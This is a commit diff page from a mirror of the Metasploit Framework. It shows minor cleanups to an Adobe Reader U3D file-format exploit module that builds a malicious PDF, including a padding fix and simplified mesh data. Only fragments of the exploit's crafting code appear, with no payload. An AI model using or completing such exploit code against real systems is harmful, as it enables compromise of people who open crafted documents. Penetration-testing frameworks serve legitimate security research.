infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

minor cleanups, fixed u3d_pad function 

git-svn-id: file:///home/svn/framework3/trunk@7626 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2009-11-26 06:21:39 +00:00
parent d6a732d619
commit 623f3b88ec
1 changed files with 6 additions and 21 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

25
modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb
View File

@ -230,7 +230,7 @@ Original notes on heap technique used in this exploit:
}).to_s }).to_s
# create the u3d stuff # create the u3d stuff
u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(32)+4)) u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(28)+4))
# Create the pdf # Create the pdf
pdf = make_pdf(u3d, js_doc, js_pg1) pdf = make_pdf(u3d, js_doc, js_pg1)
@ -290,7 +290,7 @@ Original notes on heap technique used in this exploit:
def u3d_pad(str, char="\x00") def u3d_pad(str, char="\x00")
ret = "" ret = ""
if (str.length % 4) if (str.length % 4) > 0
ret << char * (4 - (str.length % 4)) ret << char * (4 - (str.length % 4))
end end
return ret return ret
@ -365,24 +365,9 @@ Original notes on heap technique used in this exploit:
cont_data << [0].pack('V') # chain idx cont_data << [0].pack('V') # chain idx
cont_data << [0].pack('V') # start resolution cont_data << [0].pack('V') # start resolution
cont_data << [0].pack('V') # end resolution cont_data << [0].pack('V') # end resolution
cont_data << [0].pack('V') # split position index # no resolution update, unknown data follows
# new diffuse color info cont_data << [0].pack('V')
cont_data << [1].pack('v') # count cont_data << [1].pack('V') * 10
cont_data << "\x00" # difference sign
cont_data << "\x00" # pad
cont_data << [1].pack('V')
cont_data << [1].pack('V')
cont_data << [1].pack('V')
cont_data << [1].pack('V')
# new specular color info
cont_data << [1].pack('v') # count
cont_data << "\x00" # sign
cont_data << "\x00" # pad
cont_data << [1].pack('V')
cont_data << [1].pack('V')
cont_data << [1].pack('V')
cont_data << [1].pack('V')
# new texture coord info
mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV') mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
mesh_cont << cont_data mesh_cont << cont_data
mesh_cont << u3d_pad(cont_data) mesh_cont << u3d_pad(cont_data)